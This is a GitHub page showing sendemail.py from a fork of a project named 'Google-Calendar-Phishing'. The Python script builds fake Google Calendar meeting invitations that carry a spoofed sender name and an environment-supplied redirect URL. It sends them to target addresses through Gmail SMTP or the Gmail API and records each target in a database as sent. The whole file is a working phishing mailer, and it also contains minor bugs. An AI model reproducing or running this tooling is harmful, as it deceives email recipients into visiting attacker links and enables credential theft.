forked from twistedladder/Google-Calendar-Phishing
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsendemail.py
89 lines (71 loc) · 2.93 KB
/
sendemail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import sys
import os
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
from email.utils import formataddr
import smtplib
import mimetypes
import string
from string import Template
import codecs
import requests
import googleapiclient.discovery
import googleapiclient.errors
from datetime import datetime, timedelta
import database
import google_api
def add_one_month(dt0):
dt2 = dt0 + timedelta(days=31)
return dt2
def create_message_html(sender_name, sender_email, to, subject, msgHtml, msgPlain):
msgHtml = msgHtml.encode('utf8')
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = formataddr((str(Header(sender_name, 'utf-8')), sender_email))
msg['To'] = to
msg.attach(MIMEText(msgPlain, 'plain'))
msg.attach(MIMEText(msgHtml, 'html'))
return msg.as_string()
#return {'raw': base64.urlsafe_b64encode(msg.as_string())}
def build_message(sender_name, sender_email, recipient_email):
#build components of message
subject = Template('Invitation: Meeting @ $date 2:30pm - 3:30pm (CDT) ($sender_name)')
new_date = add_one_month(datetime.today()).strftime('%a %b %d, %Y')
subject = subject.safe_substitute(date=new_date, sender_name=sender_name)
#build html calendar invite
html = Template(codecs.open('templates/email_template.html','r', encoding='utf8').read())
html = html.safe_substitute(
date=new_date,
sender_name=sender_name,
sender_email=sender_email,
recipient_email=recipient_email,
redirect_url=os.environ['REDIRECT_URL']);
return create_message_html(sender_name, sender_email, recipient_email, subject, html, "")
#send calendar invite to target email, from local
def send_email_local(sender_name, sender_email, recipient_email):
#build message
message = build_message(sender_name, sender_email, recipient_email)
smtp = smtplib.SMTP('smtp.gmail.com:587')
smtp.ehlo()
smtp.starttls()
username = os.environ['GMAIL_USER']
password = os.environ['GMAIL_PASSWORD']
smtp.login(username, password)
smtp.sendmail(sender_email, recipient_email, message)
smtp.quit()
database.update_user(email=recipient_email, email_sent=True)
return 'Message sent from %s to %s' % (sender_email, recipient_email)
#send calendar invite to target email, from sender via gmail
def send_email_gmail(sender_name, sender_email, recipient_email, service):
#build message
message = build_message(sender_name, sender_email, recipient_email)
message = {'raw': base64.urlsafe_b64encode(message)}
#try sending with service
response = google_api.send_email(service, message)
if response[0]:
database.update_user(email=recipient_email, email_sent=True)
return 'Message Id: %s sent from %s to %s' % (response[1], sender_email, recipient_email)
else:
return 'An error occurred: %s' % error